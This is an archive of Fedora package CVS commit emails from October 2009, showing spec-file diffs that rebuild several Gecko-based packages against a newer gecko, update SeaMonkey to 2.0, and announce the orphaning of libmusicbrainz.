Message-ID: <20091027150204.56A7C11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/google-gadgets/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29331

Modified Files:
	google-gadgets.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.11.1-2
- Rebuild against newer gecko



Index: google-gadgets.spec
===================================================================
RCS file: /cvs/pkgs/rpms/google-gadgets/F-11/google-gadgets.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- google-gadgets.spec	12 Sep 2009 17:53:05 -0000	1.20
+++ google-gadgets.spec	27 Oct 2009 15:02:04 -0000	1.21
@@ -4,7 +4,7 @@
 Name:           google-gadgets
 Version:        0.11.1
 #Release:        0.1.%{alphatag}%{?dist}
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Google Gadgets for Linux
 
 Group:          User Interface/Desktops
@@ -204,6 +204,9 @@ update-desktop-database &> /dev/null || 
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.11.1-2
+- Rebuild against newer gecko
+
 * Sat Sep 12 2009 Michel Salim <salimma at fedoraproject.org> - 0.11.1-1
 - Update to 0.11.1
 



From xhorak at fedoraproject.org  Tue Oct 27 15:03:11 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:03:11 +0000 (UTC)
Subject: rpms/hulahop/F-11 hulahop.spec,1.16,1.17
Message-ID: <20091027150311.1C16911C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/hulahop/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29606

Modified Files:
	hulahop.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.4.9-9
- Rebuild against newer gecko



Index: hulahop.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hulahop/F-11/hulahop.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- hulahop.spec	9 Sep 2009 14:12:19 -0000	1.16
+++ hulahop.spec	27 Oct 2009 15:03:10 -0000	1.17
@@ -2,7 +2,7 @@
 
 Name: hulahop
 Version: 0.4.9
-Release: 8%{?dist}
+Release: 9%{?dist}
 Summary: A pygtk widget for embedding mozilla
 
 Group: System Environment/Libraries
@@ -56,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/*
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.4.9-9
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 0.4.9-8
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:04:27 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:04:27 +0000 (UTC)
Subject: rpms/epiphany/F-10 epiphany.spec,1.232,1.233
Message-ID: <20091027150427.498CE11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/epiphany/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30139

Modified Files:
	epiphany.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.24.3-11
- Rebuild against newer gecko



Index: epiphany.spec
===================================================================
RCS file: /cvs/pkgs/rpms/epiphany/F-10/epiphany.spec,v
retrieving revision 1.232
retrieving revision 1.233
diff -u -p -r1.232 -r1.233
--- epiphany.spec	9 Sep 2009 16:32:13 -0000	1.232
+++ epiphany.spec	27 Oct 2009 15:04:27 -0000	1.233
@@ -1,4 +1,4 @@
-%define gecko_ver 1.9.0.14
+%define gecko_ver 1.9.0.15
 %define desktop_file_utils_version 0.9
 %define glib2_devel_ver 2.15.2
 %define gtk2_devel_ver 2.12.0
@@ -8,7 +8,7 @@
 Summary: GNOME web browser based on the Mozilla rendering engine
 Name: epiphany
 Version: 2.24.3
-Release: 10%{?dist}
+Release: 11%{?dist}
 %define major_version 2.24
 Provides: epiphany(abi) = %{major_version}
 License: GPLv2+ and GFDL
@@ -259,6 +259,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pygtk/2.0/defs/epiphany.defs
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.24.3-11
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 2.24.3-10
 - Rebuild against newer gecko
 



From stransky at fedoraproject.org  Tue Oct 27 15:04:34 2009
From: stransky at fedoraproject.org (Martin Stransky)
Date: Tue, 27 Oct 2009 15:04:34 +0000 (UTC)
Subject: rpms/seamonkey/devel seamonkey.spec,1.67,1.68 sources,1.31,1.32
Message-ID: <20091027150434.569EC11C00E6@cvs1.fedora.phx.redhat.com>

Author: stransky

Update of /cvs/pkgs/rpms/seamonkey/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30177

Modified Files:
	seamonkey.spec sources 
Log Message:
Update to 2.0


Index: seamonkey.spec
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/devel/seamonkey.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- seamonkey.spec	21 Oct 2009 09:46:06 -0000	1.67
+++ seamonkey.spec	27 Oct 2009 15:04:34 -0000	1.68
@@ -5,26 +5,26 @@
 %define minimum_build_nspr_version 4.7.2
 %define minimum_build_nss_version 3.12
 
-%define prerelease_tag rc2
+%define prerelease_tag
 
 %define build_langpacks 1
 
 %define _unpackaged_files_terminate_build 0
 %define builddir %{_builddir}/%{name}-%{version}
 %define mozdir %{_libdir}/seamonkey-%{version}
-%define sources_subdir comm-central
+%define sources_subdir comm-1.9.1
 
 
 Name:           seamonkey
 Summary:        Web browser, e-mail, news, IRC client, HTML editor
 Version:        2.0
-Release:        6%{?dist}
+Release:        7%{?dist}
 URL:            http://www.mozilla.org/projects/seamonkey/
 License:        MPLv1.1
 Group:          Applications/Internet
 
 Source0:        seamonkey-%{version}%{?prerelease_tag}.source.tar.bz2
-Source1:        seamonkey-langpacks-%{version}-20091019.tar.bz2
+Source1:        seamonkey-langpacks-%{version}-20091027.tar.bz2
 Source2:        seamonkey-icon.png
 Source3:        seamonkey.sh.in
 Source4:        seamonkey.desktop
@@ -342,6 +342,9 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Tue Oct 27 2009 Martin Stransky <stransky at redhat.com> 2.0-7
+- Update to 2.0
+
 * Tue Oct 21 2009 Martin Stransky <stransky at redhat.com> 2.0-6
 - Fixed launcher script
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/devel/sources,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- sources	19 Oct 2009 09:21:24 -0000	1.31
+++ sources	27 Oct 2009 15:04:34 -0000	1.32
@@ -1,2 +1,2 @@
-738c0f17bf4148f57cb5811c3ea4f7fc  seamonkey-2.0rc2.source.tar.bz2
-a52f67c3f492af7b7630679f412adc19  seamonkey-langpacks-2.0-20091019.tar.bz2
+494608587e3ba4e4cc2e754d95154435  seamonkey-2.0.source.tar.bz2
+91386d040b662051e096ad4441172899  seamonkey-langpacks-2.0-20091027.tar.bz2



From xhorak at fedoraproject.org  Tue Oct 27 15:06:31 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:06:31 +0000 (UTC)
Subject: rpms/kazehakase/F-11 kazehakase.spec,1.90,1.91
Message-ID: <20091027150631.A97DA11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/kazehakase/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30688

Modified Files:
	kazehakase.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.5.8-2.1
- Rebuild against newer gecko



Index: kazehakase.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kazehakase/F-11/kazehakase.spec,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- kazehakase.spec	16 Oct 2009 16:02:58 -0000	1.90
+++ kazehakase.spec	27 Oct 2009 15:06:31 -0000	1.91
@@ -18,7 +18,7 @@
 %define		min_webkit_EVR	1.1.1
 
 %if 0%{?fedora} >= 11
-%define		Geckover	1.9.1.3
+%define		Geckover	1.9.1.4
 %endif
 %if 0%{?fedora} >= 9 && 0%{?fedora} <= 10
 %define		Geckover	1.9
@@ -55,7 +55,7 @@ Version:	0.5.8
 # When changing release number, please make it sure that
 # the new EVR won't be higher than the one of higher branch!!
 #
-Release:	%{_release}%{?dist}
+Release:	%{_release}%{?dist}.1
 Summary:	Kazehakase browser using Gecko rendering engine
 
 Group:		Applications/Internet
@@ -354,6 +354,9 @@ desktop-file-install \
 %endif
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.5.8-2.1
+- Rebuild against newer gecko
+
 * Sat Oct 17 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.5.8-2
 - Fix crash when trying to view source or cert with no page loaded
   (bug 529334)



From xhorak at fedoraproject.org  Tue Oct 27 15:07:14 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:07:14 +0000 (UTC)
Subject: rpms/Miro/F-11 Miro.spec,1.60,1.61
Message-ID: <20091027150714.15DCB11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/Miro/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30884

Modified Files:
	Miro.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.5.2-5
- Rebuild against newer gecko



Index: Miro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Miro/F-11/Miro.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- Miro.spec	9 Sep 2009 14:15:22 -0000	1.60
+++ Miro.spec	27 Oct 2009 15:07:13 -0000	1.61
@@ -1,11 +1,11 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
-%define gecko_ver 1.9.1.3
+%define gecko_ver 1.9.1.4
 
 Name:           Miro
 Version:        2.5.2
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Miro - Internet TV Player
 
 Group:          Applications/Multimedia
@@ -94,6 +94,9 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.5.2-5
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 2.5.2-4
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:11:31 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:11:31 +0000 (UTC)
Subject: rpms/mozvoikko/F-11 mozvoikko.spec,1.14,1.15
Message-ID: <20091027151131.DD06511C02C6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/mozvoikko/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32431

Modified Files:
	mozvoikko.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.9.7-0.8.rc1
- Rebuild against newer gecko



Index: mozvoikko.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mozvoikko/F-11/mozvoikko.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- mozvoikko.spec	9 Sep 2009 14:16:21 -0000	1.14
+++ mozvoikko.spec	27 Oct 2009 15:11:31 -0000	1.15
@@ -5,7 +5,7 @@
 # update this package to 1.0.
 
 # For the xulrunner unstable requires
-%define gecko_ver 1.9.1.3
+%define gecko_ver 1.9.1.4
 # These come from install.rdf
 %define firefox_app_id \{ec8030f7-c20a-464f-9b0e-13a3a9e97384\}
 %define firefox_ext_id \{b676e3ff-cda7-4e0c-b2b8-74e4bb40a67a\}
@@ -18,7 +18,7 @@
 
 Name:           mozvoikko
 Version:        0.9.7
-Release:        0.7.rc1%{?dist}
+Release:        0.8.rc1%{?dist}
 Summary:        Finnish Voikko spell-checker extension for Mozilla programs
 Group:          Applications/Internet
 License:        GPLv2+
@@ -75,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.9.7-0.8.rc1
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 0.9.7-0.7.rc1
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:11:41 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:11:41 +0000 (UTC)
Subject: rpms/monodevelop/F-11 monodevelop-2.spec,1.19,1.20
Message-ID: <20091027151141.B74FB11C02C6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/monodevelop/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32517

Modified Files:
	monodevelop-2.spec 
Log Message:
Rebuild against newer gecko


Index: monodevelop-2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/monodevelop/F-11/monodevelop-2.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- monodevelop-2.spec	9 Sep 2009 16:06:29 -0000	1.19
+++ monodevelop-2.spec	27 Oct 2009 15:11:41 -0000	1.20
@@ -10,7 +10,7 @@
 
 Name:           monodevelop
 Version:        2.0
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        A full-featured IDE for Mono and Gtk#
 
 Group:          Development/Tools
@@ -158,6 +158,9 @@ update-desktop-database &> /dev/null || 
 %{_libdir}/pkgconfig/monodevelop*.pc
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.0-6
+- Rebuild against newer gecko
+
 * Wed Sep  9 2009 Jan Horak <jhorak at redhat.com> - 2.0-5
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:13:12 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:13:12 +0000 (UTC)
Subject: rpms/blam/F-10 blam.spec,1.37,1.38
Message-ID: <20091027151312.AA3B011C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/blam/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv472

Modified Files:
	blam.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.8.5-15
- Rebuild against newer gecko



Index: blam.spec
===================================================================
RCS file: /cvs/pkgs/rpms/blam/F-10/blam.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- blam.spec	9 Sep 2009 15:16:39 -0000	1.37
+++ blam.spec	27 Oct 2009 15:13:12 -0000	1.38
@@ -1,11 +1,11 @@
 ## XXX: Hopefully Mono, Blam and multilib will play nicely soon...
 %define	_libdir			%{_prefix}/lib
 %define	dbus_sharp_min_version	0.60
-%define	gecko_version		1.9.0.14
+%define	gecko_version		1.9.0.15
 
 Name:		blam
 Version:	1.8.5
-Release:	14%{?dist}
+Release:	15%{?dist}
 Summary:	An RSS/RDF feed reader
 
 Group:		Applications/Internet
@@ -138,6 +138,9 @@ update-desktop-database &> /dev/null ||:
 %{_mandir}/man?/%{name}.1*
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.8.5-15
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 1.8.5-14
 - Rebuild against newer gecko
 



From pkgdb at fedoraproject.org  Tue Oct 27 15:13:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 15:13:51 +0000
Subject: [pkgdb] libmusicbrainz ownership updated
Message-ID: <20091027151351.D3BC210F880@bastion2.fedora.phx.redhat.com>

Package libmusicbrainz in Fedora devel was orphaned by hadess

To make changes to this package see:
  /pkgdb/packages/name/libmusicbrainz



From pkgdb at fedoraproject.org  Tue Oct 27 15:14:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 15:14:01 +0000
Subject: [pkgdb] libmusicbrainz ownership updated
Message-ID: <20091027151401.739A310F880@bastion2.fedora.phx.redhat.com>

Package libmusicbrainz in Fedora 12 was orphaned by hadess

To make changes to this package see:
  /pkgdb/packages/name/libmusicbrainz



From xhorak at fedoraproject.org  Tue Oct 27 15:14:49 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:14:49 +0000 (UTC)
Subject: rpms/evolution-rss/F-10 evolution-rss.spec,1.33,1.34
Message-ID: <20091027151449.9AFEA11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/evolution-rss/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv791

Modified Files:
	evolution-rss.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.1.4-5
- Rebuild against newer gecko



Index: evolution-rss.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-rss/F-10/evolution-rss.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- evolution-rss.spec	16 Sep 2009 17:25:46 -0000	1.33
+++ evolution-rss.spec	27 Oct 2009 15:14:49 -0000	1.34
@@ -1,7 +1,7 @@
 Summary: Evolution RSS Reader
 Name: evolution-rss
 Version: 0.1.4
-Release: 4%{?dist}
+Release: 5%{?dist}
 Group: Applications/Internet
 License: GPLv2 and GPLv2+
 Source: http://gnome.eu.org/%{name}-%{version}.tar.gz
@@ -87,6 +87,9 @@ fi
 %doc TODO
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.1.4-5
+- Rebuild against newer gecko
+
 * Wed Sep 16 2009 Lucian Langa <cooly at gnome.eu.org> - 0.1.4-4
 - added patch to fix folder properties in evolution (#523552)
 - added upstream patch to fix folder rename (gnome #594704)



From xhorak at fedoraproject.org  Tue Oct 27 15:15:09 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:15:09 +0000 (UTC)
Subject: rpms/ruby-gnome2/F-11 ruby-gnome2.spec,1.49,1.50
Message-ID: <20091027151509.E4A2E11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/ruby-gnome2/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv932

Modified Files:
	ruby-gnome2.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.19.3-2.1
- Rebuild against newer gecko



Index: ruby-gnome2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ruby-gnome2/F-11/ruby-gnome2.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- ruby-gnome2.spec	27 Sep 2009 09:41:21 -0000	1.49
+++ ruby-gnome2.spec	27 Oct 2009 15:15:09 -0000	1.50
@@ -8,7 +8,7 @@
 # When changing release number, please make it sure that
 # the new EVR won't be higher than the one of higher branch!!
 #
-%define         mainrel                2
+%define         mainrel                3
 
 # Note
 # Currently this spec file does not support libgda module.
@@ -1097,6 +1097,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.19.3-3
+- Rebuild against newer gecko
+
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.19.3-2
 - Fix crash when moving cursor on fantasdic 1.0 beta 7
   (ruby-gnome2-Bugs-2865895)



From xhorak at fedoraproject.org  Tue Oct 27 15:15:38 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:15:38 +0000 (UTC)
Subject: rpms/galeon/F-10 galeon.spec,1.67,1.68
Message-ID: <20091027151538.6B4AA11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/galeon/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1087

Modified Files:
	galeon.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.0.7-15
- Rebuild against newer gecko



Index: galeon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/galeon/F-10/galeon.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- galeon.spec	9 Sep 2009 15:27:58 -0000	1.67
+++ galeon.spec	27 Oct 2009 15:15:38 -0000	1.68
@@ -3,7 +3,7 @@
 Summary:	GNOME2 Web browser based on Mozilla
 Name:		galeon
 Version:	2.0.7
-Release:	14%{?dist}
+Release:	15%{?dist}
 License:	GPLv2+
 Group:		Applications/Internet
 URL:		http://galeon.sourceforge.net/
@@ -123,6 +123,9 @@ update-desktop-database > /dev/null 2>&1
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.0.7-15
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 2.0.7-14
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:16:04 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:16:04 +0000 (UTC)
Subject: rpms/perl-Gtk2-MozEmbed/F-11 perl-Gtk2-MozEmbed.spec,1.7,1.8
Message-ID: <20091027151604.17E7C11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/perl-Gtk2-MozEmbed/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1330

Modified Files:
	perl-Gtk2-MozEmbed.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.08-6.6
- Rebuild against newer gecko



Index: perl-Gtk2-MozEmbed.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Gtk2-MozEmbed/F-11/perl-Gtk2-MozEmbed.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- perl-Gtk2-MozEmbed.spec	9 Sep 2009 14:20:12 -0000	1.7
+++ perl-Gtk2-MozEmbed.spec	27 Oct 2009 15:16:03 -0000	1.8
@@ -1,7 +1,7 @@
 %define perlname Gtk2-MozEmbed
 
 %if 0%{?fedora} >= 11
-%define gecko_version 1.9.1.3
+%define gecko_version 1.9.1.4
 %else
 %define gecko_version 1.9.0.6
 %endif
@@ -13,7 +13,7 @@
 Summary:       Interface to the Mozilla embedding widget
 Name:          perl-Gtk2-MozEmbed
 Version:       0.08
-Release:       %{specfilever}%{?dist}.5
+Release:       %{specfilever}%{?dist}.6
 
 Group:         Development/Libraries
 License:       LGPLv2+
@@ -89,6 +89,9 @@ find $RPM_BUILD_ROOT -type d -depth -exe
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.08-6.6
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 0.08-6.5
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:16:56 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:16:56 +0000 (UTC)
Subject: rpms/gecko-sharp2/F-10 gecko-sharp2.spec,1.38,1.39
Message-ID: <20091027151656.6109B11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/gecko-sharp2/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2039

Modified Files:
	gecko-sharp2.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.13-13
- Rebuild against newer gecko



Index: gecko-sharp2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gecko-sharp2/F-10/gecko-sharp2.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- gecko-sharp2.spec	9 Sep 2009 15:24:26 -0000	1.38
+++ gecko-sharp2.spec	27 Oct 2009 15:16:56 -0000	1.39
@@ -1,6 +1,6 @@
 Name:           gecko-sharp2
 Version:        0.13
-Release:        12%{?dist}
+Release:        13%{?dist}
 Summary:        Gecko bindings for Mono
 
 Group:          System Environment/Libraries
@@ -70,6 +70,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.13-13
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 0.13-12
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:17:20 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:17:20 +0000 (UTC)
Subject: rpms/seahorse-plugins/F-11 seahorse-plugins.spec,1.32,1.33
Message-ID: <20091027151720.4AE5C11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/seahorse-plugins/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2372

Modified Files:
	seahorse-plugins.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.26.2-7
- Rebuild against newer gecko



Index: seahorse-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/seahorse-plugins/F-11/seahorse-plugins.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- seahorse-plugins.spec	8 Oct 2009 00:59:30 -0000	1.32
+++ seahorse-plugins.spec	27 Oct 2009 15:17:20 -0000	1.33
@@ -1,6 +1,6 @@
 Name: 		seahorse-plugins
 Version: 	2.26.2
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:	Plugins and utilities for encryption in GNOME
 Group: 		User Interface/Desktops
 License:        GPLv2+ and GFDL
@@ -177,6 +177,9 @@ fi
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.26.2-7
+- Rebuild against newer gecko
+
 * Wed Oct  7 2009 Matthias Clasen <mclasen at redhat.com> - 2.26.2-6
 - Implement GETINFO to make seahorse-agent work with gnupg >= 2.0.12
 



From xhorak at fedoraproject.org  Tue Oct 27 15:17:44 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:17:44 +0000 (UTC)
Subject: rpms/gnome-python2-extras/F-10 gnome-python2-extras.spec,1.46,1.47
Message-ID: <20091027151744.5658211C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/gnome-python2-extras/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2519

Modified Files:
	gnome-python2-extras.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.19.1-35
- Rebuild against newer gecko



Index: gnome-python2-extras.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-python2-extras/F-10/gnome-python2-extras.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- gnome-python2-extras.spec	9 Sep 2009 15:25:14 -0000	1.46
+++ gnome-python2-extras.spec	27 Oct 2009 15:17:44 -0000	1.47
@@ -5,7 +5,7 @@
 %define gnome_panel_version 2.2.0
 %define gnome_python_version 2.10.0
 %define gtkhtml2_version 2.3.1
-%define gecko_version 1.9.0.14
+%define gecko_version 1.9.0.15
 %define gtkspell_version 2.0.7
 %define libgda_version 2.99.6
 %define libgdl_version 2.24.0
@@ -14,7 +14,7 @@
 
 Name: gnome-python2-extras
 Version: 2.19.1
-Release: 34%{?dist}
+Release: 35%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: Development/Languages
 Summary: The sources for additional. PyGNOME Python extension modules.
@@ -191,6 +191,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/pygda-3.0.pc
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.19.1-35
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 2.19.1-34
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:18:49 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:18:49 +0000 (UTC)
Subject: rpms/gnome-web-photo/F-10 gnome-web-photo.spec,1.23,1.24
Message-ID: <20091027151849.3C05811C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/gnome-web-photo/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2939

Modified Files:
	gnome-web-photo.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.3-23
- Rebuild against newer gecko



Index: gnome-web-photo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-web-photo/F-10/gnome-web-photo.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- gnome-web-photo.spec	9 Sep 2009 15:27:31 -0000	1.23
+++ gnome-web-photo.spec	27 Oct 2009 15:18:48 -0000	1.24
@@ -1,9 +1,9 @@
